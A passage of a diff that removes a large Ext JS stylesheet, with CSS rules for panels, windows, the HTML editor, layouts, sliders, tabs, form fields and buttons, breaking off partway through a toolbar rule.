- * Resets for Ext.Panel @cfg normal: true - */ -.x-panel-reset .x-panel-body html, -.x-panel-reset .x-panel-body address, -.x-panel-reset .x-panel-body blockquote, -.x-panel-reset .x-panel-body body, -.x-panel-reset .x-panel-body dd, -.x-panel-reset .x-panel-body div, -.x-panel-reset .x-panel-body dl, -.x-panel-reset .x-panel-body dt, -.x-panel-reset .x-panel-body fieldset, -.x-panel-reset .x-panel-body form, -.x-panel-reset .x-panel-body frame, frameset, -.x-panel-reset .x-panel-body h1, -.x-panel-reset .x-panel-body h2, -.x-panel-reset .x-panel-body h3, -.x-panel-reset .x-panel-body h4, -.x-panel-reset .x-panel-body h5, -.x-panel-reset .x-panel-body h6, -.x-panel-reset .x-panel-body noframes, -.x-panel-reset .x-panel-body ol, -.x-panel-reset .x-panel-body p, -.x-panel-reset .x-panel-body ul, -.x-panel-reset .x-panel-body center, -.x-panel-reset .x-panel-body dir, -.x-panel-reset .x-panel-body hr, -.x-panel-reset .x-panel-body menu, -.x-panel-reset .x-panel-body pre { display: block } -.x-panel-reset .x-panel-body li { display: list-item } -.x-panel-reset .x-panel-body head { display: none } -.x-panel-reset .x-panel-body table { display: table } -.x-panel-reset .x-panel-body tr { display: table-row } -.x-panel-reset .x-panel-body thead { display: table-header-group } -.x-panel-reset .x-panel-body tbody { display: table-row-group } -.x-panel-reset .x-panel-body tfoot { display: table-footer-group } -.x-panel-reset .x-panel-body col { display: table-column } -.x-panel-reset .x-panel-body colgroup { display: table-column-group } -.x-panel-reset .x-panel-body td, -.x-panel-reset .x-panel-body th { display: table-cell } -.x-panel-reset .x-panel-body caption { display: table-caption } -.x-panel-reset .x-panel-body th { font-weight: bolder; text-align: center } -.x-panel-reset .x-panel-body caption { text-align: center } -.x-panel-reset .x-panel-body body { margin: 8px } -.x-panel-reset .x-panel-body h1 { font-size: 2em; margin: .67em 0 } -.x-panel-reset .x-panel-body h2 { font-size: 1.5em; margin: .75em 0 } -.x-panel-reset .x-panel-body h3 { font-size: 1.17em; margin: .83em 0 } -.x-panel-reset .x-panel-body h4, -.x-panel-reset .x-panel-body p, -.x-panel-reset .x-panel-body blockquote, -.x-panel-reset .x-panel-body ul, -.x-panel-reset .x-panel-body fieldset, -.x-panel-reset .x-panel-body form, -.x-panel-reset .x-panel-body ol, -.x-panel-reset .x-panel-body dl, -.x-panel-reset .x-panel-body dir, -.x-panel-reset .x-panel-body menu { margin: 1.12em 0 } -.x-panel-reset .x-panel-body h5 { font-size: .83em; margin: 1.5em 0 } -.x-panel-reset .x-panel-body h6 { font-size: .75em; margin: 1.67em 0 } -.x-panel-reset .x-panel-body h1, -.x-panel-reset .x-panel-body h2, -.x-panel-reset .x-panel-body h3, -.x-panel-reset .x-panel-body h4, -.x-panel-reset .x-panel-body h5, -.x-panel-reset .x-panel-body h6, -.x-panel-reset .x-panel-body b, -.x-panel-reset .x-panel-body strong { font-weight: bolder } -.x-panel-reset .x-panel-body blockquote { margin-left: 40px; margin-right: 40px } -.x-panel-reset .x-panel-body i, -.x-panel-reset .x-panel-body cite, -.x-panel-reset .x-panel-body em, -.x-panel-reset .x-panel-body var, -.x-panel-reset .x-panel-body address { font-style: italic } -.x-panel-reset .x-panel-body pre, -.x-panel-reset .x-panel-body tt, -.x-panel-reset .x-panel-body code, -.x-panel-reset .x-panel-body kbd, -.x-panel-reset .x-panel-body samp { font-family: monospace } -.x-panel-reset .x-panel-body pre { white-space: pre } -.x-panel-reset .x-panel-body button, -.x-panel-reset .x-panel-body textarea, -.x-panel-reset .x-panel-body input, -.x-panel-reset .x-panel-body select { display: inline-block } -.x-panel-reset .x-panel-body big { font-size: 1.17em } -.x-panel-reset .x-panel-body small, -.x-panel-reset .x-panel-body sub, -.x-panel-reset .x-panel-body sup { font-size: .83em } -.x-panel-reset .x-panel-body sub { vertical-align: sub } -.x-panel-reset .x-panel-body sup { vertical-align: super } -.x-panel-reset .x-panel-body table { border-spacing: 2px; } -.x-panel-reset .x-panel-body thead, -.x-panel-reset .x-panel-body tbody, -.x-panel-reset .x-panel-body tfoot { vertical-align: middle } -.x-panel-reset .x-panel-body td, -.x-panel-reset .x-panel-body th { vertical-align: inherit } -.x-panel-reset .x-panel-body s, -.x-panel-reset .x-panel-body strike, -.x-panel-reset .x-panel-body del { text-decoration: line-through } -.x-panel-reset .x-panel-body hr { border: 1px inset } -.x-panel-reset .x-panel-body ol, -.x-panel-reset .x-panel-body ul, -.x-panel-reset .x-panel-body dir, -.x-panel-reset .x-panel-body menu, -.x-panel-reset .x-panel-body dd { margin-left: 40px } -.x-panel-reset .x-panel-body ul, .x-panel-reset .x-panel-body menu, .x-panel-reset .x-panel-body dir { list-style-type: disc;} -.x-panel-reset .x-panel-body ol { list-style-type: decimal } -.x-panel-reset .x-panel-body ol ul, -.x-panel-reset .x-panel-body ul ol, -.x-panel-reset .x-panel-body ul ul, -.x-panel-reset .x-panel-body ol ol { margin-top: 0; margin-bottom: 0 } -.x-panel-reset .x-panel-body u, -.x-panel-reset .x-panel-body ins { text-decoration: underline } -.x-panel-reset .x-panel-body br:before { content: "\A" } -.x-panel-reset .x-panel-body :before, .x-panel-reset .x-panel-body :after { white-space: pre-line } -.x-panel-reset .x-panel-body center { text-align: center } -.x-panel-reset .x-panel-body :link, .x-panel-reset .x-panel-body :visited { text-decoration: underline } -.x-panel-reset .x-panel-body :focus { outline: invert dotted thin } - -/* Begin bidirectionality settings (do not change) */ -.x-panel-reset .x-panel-body BDO[DIR="ltr"] { direction: ltr; unicode-bidi: bidi-override } -.x-panel-reset .x-panel-body BDO[DIR="rtl"] { direction: rtl; unicode-bidi: bidi-override } -.x-window { - zoom:1; -} - -.x-window .x-window-handle { - opacity:0; - -moz-opacity:0; - filter:alpha(opacity=0); -} - -.x-window-proxy { - border:1px solid; - z-index:12000; - overflow:hidden; - position:absolute; - left:0;top:0; - display:none; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); -} - -.x-window-header { - overflow:hidden; - zoom:1; -} - -.x-window-bwrap { - z-index:1; - position:relative; - zoom:1; - left:0;top:0; -} - -.x-window-tl .x-window-header { - padding:5px 0 4px 0; -} - -.x-window-header-text { - cursor:pointer; -} - -.x-window-tc { - background: transparent repeat-x 0 0; - overflow:hidden; - zoom:1; -} - -.x-window-tl { - background: transparent no-repeat 0 0; - padding-left:6px; - zoom:1; - z-index:1; - position:relative; -} - -.x-window-tr { - background: transparent no-repeat right 0; - padding-right:6px; -} - -.x-window-bc { - background: transparent repeat-x 0 bottom; - zoom:1; -} - -.x-window-bc .x-window-footer { - padding-bottom:6px; - zoom:1; - font-size:0; - line-height:0; -} - -.x-window-bl { - background: transparent no-repeat 0 bottom; - padding-left:6px; - zoom:1; -} - -.x-window-br { - background: transparent no-repeat right bottom; - padding-right:6px; - zoom:1; -} - -.x-window-mc { - border:1px solid; - padding:0; - margin:0; -} - -.x-window-ml { - background: transparent repeat-y 0 0; - padding-left:6px; - zoom:1; -} - -.x-window-mr { - background: transparent repeat-y right 0; - padding-right:6px; - zoom:1; -} - -.x-window-body { - overflow:hidden; -} - -.x-window-bwrap { - overflow:hidden; -} - -.x-window-maximized .x-window-bl, .x-window-maximized .x-window-br, - .x-window-maximized .x-window-ml, .x-window-maximized .x-window-mr, - .x-window-maximized .x-window-tl, .x-window-maximized .x-window-tr { - padding:0; -} - -.x-window-maximized .x-window-footer { - padding-bottom:0; -} - -.x-window-maximized .x-window-tc { - padding-left:3px; - padding-right:3px; -} - -.x-window-maximized .x-window-mc { - border-left:0 none; - border-right:0 none; -} - -.x-window-tbar .x-toolbar, .x-window-bbar .x-toolbar { - border-left:0 none; - border-right: 0 none; -} - -.x-window-bbar .x-toolbar { - border-top:1px solid; - border-bottom:0 none; -} - -.x-window-draggable, .x-window-draggable .x-window-header-text { - cursor:move; -} - -.x-window-maximized .x-window-draggable, .x-window-maximized .x-window-draggable .x-window-header-text { - cursor:default; -} - -.x-window-body { - background-color:transparent; -} - -.x-panel-ghost .x-window-tl { - border-bottom:1px solid; -} - -.x-panel-collapsed .x-window-tl { - border-bottom:1px solid; -} - -.x-window-maximized-ct { - overflow:hidden; -} - -.x-window-maximized .x-window-handle { - display:none; -} - -.x-window-sizing-ghost ul { - border:0 none !important; -} - -.x-dlg-focus{ - -moz-outline:0 none; - outline:0 none; - width:0; - height:0; - overflow:hidden; - position:absolute; - top:0; - left:0; -} - -.ext-webkit .x-dlg-focus{ - width: 1px; - height: 1px; -} - -.x-dlg-mask{ - z-index:10000; - display:none; - position:absolute; - top:0; - left:0; - -moz-opacity: 0.5; - opacity:.50; - filter: alpha(opacity=50); -} - -body.ext-ie6.x-body-masked select { - visibility:hidden; -} - -body.ext-ie6.x-body-masked .x-window select { - visibility:visible; -} - -.x-window-plain .x-window-mc { - border: 1px solid; -} - -.x-window-plain .x-window-body { - border: 1px solid; - background:transparent !important; -}.x-html-editor-wrap { - border:1px solid; -} - -.x-html-editor-tb .x-btn-text { - background:transparent no-repeat; -} - -.x-html-editor-tb .x-edit-bold, .x-menu-item img.x-edit-bold { - background-position:0 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-italic, .x-menu-item img.x-edit-italic { - background-position:-16px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-underline, .x-menu-item img.x-edit-underline { - background-position:-32px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-forecolor, .x-menu-item img.x-edit-forecolor { - background-position:-160px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-backcolor, .x-menu-item img.x-edit-backcolor { - background-position:-176px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-justifyleft, .x-menu-item img.x-edit-justifyleft { - background-position:-112px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-justifycenter, .x-menu-item img.x-edit-justifycenter { - background-position:-128px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-justifyright, .x-menu-item img.x-edit-justifyright { - background-position:-144px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-insertorderedlist, .x-menu-item img.x-edit-insertorderedlist { - background-position:-80px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-insertunorderedlist, .x-menu-item img.x-edit-insertunorderedlist { - background-position:-96px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-increasefontsize, .x-menu-item img.x-edit-increasefontsize { - background-position:-48px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-decreasefontsize, .x-menu-item img.x-edit-decreasefontsize { - background-position:-64px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-sourceedit, .x-menu-item img.x-edit-sourceedit { - background-position:-192px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-createlink, .x-menu-item img.x-edit-createlink { - background-position:-208px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tip .x-tip-bd .x-tip-bd-inner { - padding:5px; - padding-bottom:1px; -} - -.x-html-editor-tb .x-toolbar { - position:static !important; -}.x-panel-noborder .x-panel-body-noborder { - border-width:0; -} - -.x-panel-noborder .x-panel-header-noborder { - border-width:0 0 1px; - border-style:solid; -} - -.x-panel-noborder .x-panel-tbar-noborder .x-toolbar { - border-width:0 0 1px; - border-style:solid; -} - -.x-panel-noborder .x-panel-bbar-noborder .x-toolbar { - border-width:1px 0 0 0; - border-style:solid; -} - -.x-window-noborder .x-window-mc { - border-width:0; -} - -.x-window-plain .x-window-body-noborder { - border-width:0; -} - -.x-tab-panel-noborder .x-tab-panel-body-noborder { - border-width:0; -} - -.x-tab-panel-noborder .x-tab-panel-header-noborder { - border-width: 0 0 1px 0; -} - -.x-tab-panel-noborder .x-tab-panel-footer-noborder { - border-width: 1px 0 0 0; -} - -.x-tab-panel-bbar-noborder .x-toolbar { - border-width: 1px 0 0 0; - border-style:solid; -} - -.x-tab-panel-tbar-noborder .x-toolbar { - border-width:0 0 1px; - border-style:solid; -}.x-border-layout-ct { - position: relative; -} - -.x-border-panel { - position:absolute; - left:0; - top:0; -} - -.x-tool-collapse-south { - background-position:0 -195px; -} - -.x-tool-collapse-south-over { - background-position:-15px -195px; -} - -.x-tool-collapse-north { - background-position:0 -210px; -} - -.x-tool-collapse-north-over { - background-position:-15px -210px; -} - -.x-tool-collapse-west { - background-position:0 -180px; -} - -.x-tool-collapse-west-over { - background-position:-15px -180px; -} - -.x-tool-collapse-east { - background-position:0 -165px; -} - -.x-tool-collapse-east-over { - background-position:-15px -165px; -} - -.x-tool-expand-south { - background-position:0 -210px; -} - -.x-tool-expand-south-over { - background-position:-15px -210px; -} - -.x-tool-expand-north { - background-position:0 -195px; -} -.x-tool-expand-north-over { - background-position:-15px -195px; -} - -.x-tool-expand-west { - background-position:0 -165px; -} - -.x-tool-expand-west-over { - background-position:-15px -165px; -} - -.x-tool-expand-east { - background-position:0 -180px; -} - -.x-tool-expand-east-over { - background-position:-15px -180px; -} - -.x-tool-expand-north, .x-tool-expand-south { - float:right; - margin:3px; -} - -.x-tool-expand-east, .x-tool-expand-west { - float:none; - margin:3px 2px; -} - -.x-accordion-hd .x-tool-toggle { - background-position:0 -255px; -} - -.x-accordion-hd .x-tool-toggle-over { - background-position:-15px -255px; -} - -.x-panel-collapsed .x-accordion-hd .x-tool-toggle { - background-position:0 -240px; -} - -.x-panel-collapsed .x-accordion-hd .x-tool-toggle-over { - background-position:-15px -240px; -} - -.x-accordion-hd { - padding-top:4px; - padding-bottom:3px; - border-top:0 none; - background: transparent repeat-x 0 -9px; -} - -.x-layout-collapsed{ - position:absolute; - left:-10000px; - top:-10000px; - visibility:hidden; - width:20px; - height:20px; - overflow:hidden; - border:1px solid; - z-index:20; -} - -.ext-border-box .x-layout-collapsed{ - width:22px; - height:22px; -} - -.x-layout-collapsed-over{ - cursor:pointer; -} - -.x-layout-collapsed-west .x-layout-collapsed-tools, .x-layout-collapsed-east .x-layout-collapsed-tools{ - position:absolute; - top:0; - left:0; - width:20px; - height:20px; -} - - -.x-layout-split{ - position:absolute; - height:5px; - width:5px; - line-height:1px; - font-size:1px; - z-index:3; - background-color:transparent; -} - -/* IE6 strict won't drag w/out a color */ -.ext-strict .ext-ie6 .x-layout-split{ - background-color: #fff !important; - filter: alpha(opacity=1); -} - -.x-layout-split-h{ - background-image:url(../images/default/s.gif); - background-position: left; -} - -.x-layout-split-v{ - background-image:url(../images/default/s.gif); - background-position: top; -} - -.x-column-layout-ct { - overflow:hidden; - zoom:1; -} - -.x-column { - float:left; - padding:0; - margin:0; - overflow:hidden; - zoom:1; -} - -.x-column-inner { - overflow:hidden; - zoom:1; -} - -/* mini mode */ -.x-layout-mini { - position:absolute; - top:0; - left:0; - display:block; - width:5px; - height:35px; - cursor:pointer; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); -} - -.x-layout-mini-over, .x-layout-collapsed-over .x-layout-mini{ - opacity:1; - -moz-opacity:1; - filter:none; -} - -.x-layout-split-west .x-layout-mini { - top:48%; -} - -.x-layout-split-east .x-layout-mini { - top:48%; -} - -.x-layout-split-north .x-layout-mini { - left:48%; - height:5px; - width:35px; -} - -.x-layout-split-south .x-layout-mini { - left:48%; - height:5px; - width:35px; -} - -.x-layout-cmini-west .x-layout-mini { - top:48%; -} - -.x-layout-cmini-east .x-layout-mini { - top:48%; -} - -.x-layout-cmini-north .x-layout-mini { - left:48%; - height:5px; - width:35px; -} - -.x-layout-cmini-south .x-layout-mini { - left:48%; - height:5px; - width:35px; -} - -.x-layout-cmini-west, .x-layout-cmini-east { - border:0 none; - width:5px !important; - padding:0; - background-color:transparent; -} - -.x-layout-cmini-north, .x-layout-cmini-south { - border:0 none; - height:5px !important; - padding:0; - background-color:transparent; -} - -.x-viewport, .x-viewport body { - margin: 0; - padding: 0; - border: 0 none; - overflow: hidden; - height: 100%; -} - -.x-abs-layout-item { - position:absolute; - left:0; - top:0; -} - -.ext-ie input.x-abs-layout-item, .ext-ie textarea.x-abs-layout-item { - margin:0; -} - -.x-box-layout-ct { - overflow:hidden; - zoom:1; -} - -.x-box-inner { - overflow:hidden; - zoom:1; - position:relative; - left:0; - top:0; -} - -.x-box-item { - position:absolute; - left:0; - top:0; -}.x-progress-wrap { - border:1px solid; - overflow:hidden; -} - -.x-progress-inner { - height:18px; - background:repeat-x; - position:relative; -} - -.x-progress-bar { - height:18px; - float:left; - width:0; - background: repeat-x left center; - border-top:1px solid; - border-bottom:1px solid; - border-right:1px solid; -} - -.x-progress-text { - padding:1px 5px; - overflow:hidden; - position:absolute; - left:0; - text-align:center; -} - -.x-progress-text-back { - line-height:16px; -} - -.ext-ie .x-progress-text-back { - line-height:15px; -} - -.ext-strict .ext-ie7 .x-progress-text-back{ - width: 100%; -} -.x-list-header{ - background: repeat-x 0 bottom; - cursor:default; - zoom:1; - height:22px; -} - -.x-list-header-inner div { - display:block; - float:left; - overflow:hidden; - -o-text-overflow: ellipsis; - text-overflow: ellipsis; - white-space: nowrap; -} - -.x-list-header-inner div em { - display:block; - border-left:1px solid; - padding:4px 4px; - overflow:hidden; - -moz-user-select: none; - -khtml-user-select: none; - line-height:14px; -} - -.x-list-body { - overflow:auto; - overflow-x:hidden; - overflow-y:auto; - zoom:1; - float: left; - width: 100%; -} - -.x-list-body dl { - zoom:1; -} - -.x-list-body dt { - display:block; - float:left; - overflow:hidden; - -o-text-overflow: ellipsis; - text-overflow: ellipsis; - white-space: nowrap; - cursor:pointer; - zoom:1; -} - -.x-list-body dt em { - display:block; - padding:3px 4px; - overflow:hidden; - -moz-user-select: none; - -khtml-user-select: none; -} - -.x-list-resizer { - border-left:1px solid; - border-right:1px solid; - position:absolute; - left:0; - top:0; -} - -.x-list-header-inner em.sort-asc { - background: transparent no-repeat center 0; - border-style:solid; - border-width: 0 1px 1px; - padding-bottom:3px; -} - -.x-list-header-inner em.sort-desc { - background: transparent no-repeat center -23px; - border-style:solid; - border-width: 0 1px 1px; - padding-bottom:3px; -} - -/* Shared styles */ -.x-slider { - zoom:1; -} - -.x-slider-inner { - position:relative; - left:0; - top:0; - overflow:visible; - zoom:1; -} - -.x-slider-focus { - position:absolute; - left:0; - top:0; - width:1px; - height:1px; - line-height:1px; - font-size:1px; - -moz-outline:0 none; - outline:0 none; - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; - display:block; - overflow:hidden; -} - -/* Horizontal styles */ -.x-slider-horz { - padding-left:7px; - background:transparent no-repeat 0 -22px; -} - -.x-slider-horz .x-slider-end { - padding-right:7px; - zoom:1; - background:transparent no-repeat right -44px; -} - -.x-slider-horz .x-slider-inner { - background:transparent repeat-x 0 0; - height:22px; -} - -.x-slider-horz .x-slider-thumb { - width:14px; - height:15px; - position:absolute; - left:0; - top:3px; - background:transparent no-repeat 0 0; -} - -.x-slider-horz .x-slider-thumb-over { - background-position: -14px -15px; -} - -.x-slider-horz .x-slider-thumb-drag { - background-position: -28px -30px; -} - -/* Vertical styles */ -.x-slider-vert { - padding-top:7px; - background:transparent no-repeat -44px 0; - width:22px; -} - -.x-slider-vert .x-slider-end { - padding-bottom:7px; - zoom:1; - background:transparent no-repeat -22px bottom; -} - -.x-slider-vert .x-slider-inner { - background:transparent repeat-y 0 0; -} - -.x-slider-vert .x-slider-thumb { - width:15px; - height:14px; - position:absolute; - left:3px; - bottom:0; - background:transparent no-repeat 0 0; -} - -.x-slider-vert .x-slider-thumb-over { - background-position: -15px -14px; -} - -.x-slider-vert .x-slider-thumb-drag { - background-position: -30px -28px; -}.x-window-dlg .x-window-body { - border:0 none !important; - padding:5px 10px; - overflow:hidden !important; -} - -.x-window-dlg .x-window-mc { - border:0 none !important; -} - -.x-window-dlg .ext-mb-input { - margin-top:4px; - width:95%; -} - -.x-window-dlg .ext-mb-textarea { - margin-top:4px; -} - -.x-window-dlg .x-progress-wrap { - margin-top:4px; -} - -.ext-ie .x-window-dlg .x-progress-wrap { - margin-top:6px; -} - -.x-window-dlg .x-msg-box-wait { - background:transparent no-repeat left; - display:block; - width:300px; - padding-left:18px; - line-height:18px; -} - -.x-window-dlg .ext-mb-icon { - float:left; - width:47px; - height:32px; -} - -.x-window-dlg .x-dlg-icon .ext-mb-content{ - zoom: 1; - margin-left: 47px; -} - -.x-window-dlg .ext-mb-info, .x-window-dlg .ext-mb-warning, .x-window-dlg .ext-mb-question, .x-window-dlg .ext-mb-error { - background:transparent no-repeat top left; -} - -.ext-gecko2 .ext-mb-fix-cursor { - overflow:auto; -}.ext-el-mask { - background-color: #ccc; -} - -.ext-el-mask-msg { - border-color:#6593cf; - background-color:#c3daf9; - background-image:url(../images/default/box/tb-blue.gif); -} -.ext-el-mask-msg div { - background-color: #eee; - border-color:#a3bad9; - color:#222; - font:normal 11px tahoma, arial, helvetica, sans-serif; -} - -.x-mask-loading div { - background-color:#fbfbfb; - background-image:url(../images/default/grid/loading.gif); -} - -.x-item-disabled { - color: gray; -} - -.x-item-disabled * { - color: gray !important; -} - -.x-splitbar-proxy { - background-color: #aaa; -} - -.x-color-palette a { - border-color:#fff; -} - -.x-color-palette a:hover, .x-color-palette a.x-color-palette-sel { - border-color:#8bb8f3; - background-color: #deecfd; -} - -/* -.x-color-palette em:hover, .x-color-palette span:hover{ - background-color: #deecfd; -} -*/ - -.x-color-palette em { - border-color:#aca899; -} - -.x-ie-shadow { - background-color:#777; -} - -.x-shadow .xsmc { - background-image: url(../images/default/shadow-c.png); -} - -.x-shadow .xsml, .x-shadow .xsmr { - background-image: url(../images/default/shadow-lr.png); -} - -.x-shadow .xstl, .x-shadow .xstc, .x-shadow .xstr, .x-shadow .xsbl, .x-shadow .xsbc, .x-shadow .xsbr{ - background-image: url(../images/default/shadow.png); -} - -.loading-indicator { - font-size: 11px; - background-image: url(../images/default/grid/loading.gif); -} - -.x-spotlight { - background-color: #ccc; -} -.x-tab-panel-header, .x-tab-panel-footer { - background-color: #deecfd; - border-color:#8db2e3; - overflow:hidden; - zoom:1; -} - -.x-tab-panel-header, .x-tab-panel-footer { - border-color:#8db2e3; -} - -ul.x-tab-strip-top{ - background-color:#cedff5; - background-image: url(../images/default/tabs/tab-strip-bg.gif); - border-bottom-color:#8db2e3; -} - -ul.x-tab-strip-bottom{ - background-color:#cedff5; - background-image: url(../images/default/tabs/tab-strip-btm-bg.gif); - border-top-color:#8db2e3; -} - -.x-tab-panel-header-plain .x-tab-strip-spacer, -.x-tab-panel-footer-plain .x-tab-strip-spacer { - border-color:#8db2e3; - background-color: #deecfd; -} - -.x-tab-strip span.x-tab-strip-text { - font:normal 11px tahoma,arial,helvetica; - color:#416aa3; -} - -.x-tab-strip-over span.x-tab-strip-text { - color:#15428b; -} - -.x-tab-strip-active span.x-tab-strip-text { - color:#15428b; - font-weight:bold; -} - -.x-tab-strip-disabled .x-tabs-text { - color:#aaaaaa; -} - -.x-tab-strip-top .x-tab-right, .x-tab-strip-top .x-tab-left, .x-tab-strip-top .x-tab-strip-inner{ - background-image: url(../images/default/tabs/tabs-sprite.gif); -} - -.x-tab-strip-bottom .x-tab-right { - background-image: url(../images/default/tabs/tab-btm-inactive-right-bg.gif); -} - -.x-tab-strip-bottom .x-tab-left { - background-image: url(../images/default/tabs/tab-btm-inactive-left-bg.gif); -} - -.x-tab-strip-bottom .x-tab-strip-over .x-tab-right { - background-image: url(../images/default/tabs/tab-btm-over-right-bg.gif); -} - -.x-tab-strip-bottom .x-tab-strip-over .x-tab-left { - background-image: url(../images/default/tabs/tab-btm-over-left-bg.gif); -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-right { - background-image: url(../images/default/tabs/tab-btm-right-bg.gif); -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-left { - background-image: url(../images/default/tabs/tab-btm-left-bg.gif); -} - -.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { - background-image:url(../images/default/tabs/tab-close.gif); -} - -.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close:hover{ - background-image:url(../images/default/tabs/tab-close.gif); -} - -.x-tab-panel-body { - border-color:#8db2e3; - background-color:#fff; -} - -.x-tab-panel-body-top { - border-top: 0 none; -} - -.x-tab-panel-body-bottom { - border-bottom: 0 none; -} - -.x-tab-scroller-left { - background-image:url(../images/default/tabs/scroll-left.gif); - border-bottom-color:#8db2e3; -} - -.x-tab-scroller-left-over { - background-position: 0 0; -} - -.x-tab-scroller-left-disabled { - background-position: -18px 0; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); - cursor:default; -} - -.x-tab-scroller-right { - background-image:url(../images/default/tabs/scroll-right.gif); - border-bottom-color:#8db2e3; -} - -.x-tab-panel-bbar .x-toolbar, .x-tab-panel-tbar .x-toolbar { - border-color:#99bbe8; -}.x-form-field { - font:normal 12px tahoma, arial, helvetica, sans-serif; -} - -.x-form-text, textarea.x-form-field { - background-color:#fff; - background-image:url(../images/default/form/text-bg.gif); - border-color:#b5b8c8; -} - -.x-form-select-one { - background-color:#fff; - border-color:#b5b8c8; -} - -.x-form-check-group-label { - border-bottom: 1px solid #99bbe8; - color: #15428b; -} - -.x-editor .x-form-check-wrap { - background-color:#fff; -} - -.x-form-field-wrap .x-form-trigger { - background-image:url(../images/default/form/trigger.gif); - border-bottom-color:#b5b8c8; -} - -.x-form-field-wrap .x-form-date-trigger { - background-image: url(../images/default/form/date-trigger.gif); -} - -.x-form-field-wrap .x-form-clear-trigger { - background-image: url(../images/default/form/clear-trigger.gif); -} - -.x-form-field-wrap .x-form-search-trigger { - background-image: url(../images/default/form/search-trigger.gif); -} - -.x-trigger-wrap-focus .x-form-trigger { - border-bottom-color:#7eadd9; -} - -.x-item-disabled .x-form-trigger-over { - border-bottom-color:#b5b8c8; -} - -.x-item-disabled .x-form-trigger-click { - border-bottom-color:#b5b8c8; -} - -.x-form-focus, textarea.x-form-focus { - border-color:#7eadd9; -} - -.x-form-invalid, textarea.x-form-invalid { - background-color:#fff; - background-image:url(../images/default/grid/invalid_line.gif); - border-color:#c30; -} - -.x-form-invalid.x-form-composite { - border: none; - background-image: none; -} - -.x-form-invalid.x-form-composite .x-form-invalid { - background-color:#fff; - background-image:url(../images/default/grid/invalid_line.gif); - border-color:#c30; -} - -.x-form-inner-invalid, textarea.x-form-inner-invalid { - background-color:#fff; - background-image:url(../images/default/grid/invalid_line.gif); -} - -.x-form-grow-sizer { - font:normal 12px tahoma, arial, helvetica, sans-serif; -} - -.x-form-item { - font:normal 12px tahoma, arial, helvetica, sans-serif; -} - -.x-form-invalid-msg { - color:#c0272b; - font:normal 11px tahoma, arial, helvetica, sans-serif; - background-image:url(../images/default/shared/warning.gif); -} - -.x-form-empty-field { - color:gray; -} - -.x-small-editor .x-form-field { - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.ext-webkit .x-small-editor .x-form-field { - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-form-invalid-icon { - background-image:url(../images/default/form/exclamation.gif); -} - -.x-fieldset { - border-color:#b5b8c8; -} - -.x-fieldset legend { - font:bold 11px tahoma, arial, helvetica, sans-serif; - color:#15428b; -} -.x-btn{ - font:normal 11px tahoma, verdana, helvetica; -} - -.x-btn button{ - font:normal 11px arial,tahoma,verdana,helvetica; - color:#333; -} - -.x-btn em { - font-style:normal; - font-weight:normal; -} - -.x-btn-tl, .x-btn-tr, .x-btn-tc, .x-btn-ml, .x-btn-mr, .x-btn-mc, .x-btn-bl, .x-btn-br, .x-btn-bc{ - background-image:url(../images/default/button/btn.gif); -} - -.x-btn-click .x-btn-text, .x-btn-menu-active .x-btn-text, .x-btn-pressed .x-btn-text{ - color:#000; -} - -.x-btn-disabled *{ - color:gray !important; -} - -.x-btn-mc em.x-btn-arrow { - background-image:url(../images/default/button/arrow.gif); -} - -.x-btn-mc em.x-btn-split { - background-image:url(../images/default/button/s-arrow.gif); -} - -.x-btn-over .x-btn-mc em.x-btn-split, .x-btn-click .x-btn-mc em.x-btn-split, .x-btn-menu-active .x-btn-mc em.x-btn-split, .x-btn-pressed .x-btn-mc em.x-btn-split { - background-image:url(../images/default/button/s-arrow-o.gif); -} - -.x-btn-mc em.x-btn-arrow-bottom { - background-image:url(../images/default/button/s-arrow-b-noline.gif); -} - -.x-btn-mc em.x-btn-split-bottom { - background-image:url(../images/default/button/s-arrow-b.gif); -} - -.x-btn-over .x-btn-mc em.x-btn-split-bottom, .x-btn-click .x-btn-mc em.x-btn-split-bottom, .x-btn-menu-active .x-btn-mc em.x-btn-split-bottom, .x-btn-pressed .x-btn-mc em.x-btn-split-bottom { - background-image:url(../images/default/button/s-arrow-bo.gif); -} - -.x-btn-group-header { - color: #3e6aaa; -} - -.x-btn-group-tc { - background-image: url(../images/default/button/group-tb.gif); -} - -.x-btn-group-tl { - background-image: url(../images/default/button/group-cs.gif); -} - -.x-btn-group-tr { - background-image: url(../images/default/button/group-cs.gif); -} - -.x-btn-group-bc { - background-image: url(../images/default/button/group-tb.gif); -} - -.x-btn-group-bl { - background-image: url(../images/default/button/group-cs.gif); -} - -.x-btn-group-br { - background-image: url(../images/default/button/group-cs.gif); -} - -.x-btn-group-ml { - background-image: url(../images/default/button/group-lr.gif); -} -.x-btn-group-mr { - background-image: url(../images/default/button/group-lr.gif); -} - -.x-btn-group-notitle .x-btn-group-tc { - background-image: url(../images/default/button/group-tb.gif); -}.x-toolbar{ - border-color:#a9bfd3; - 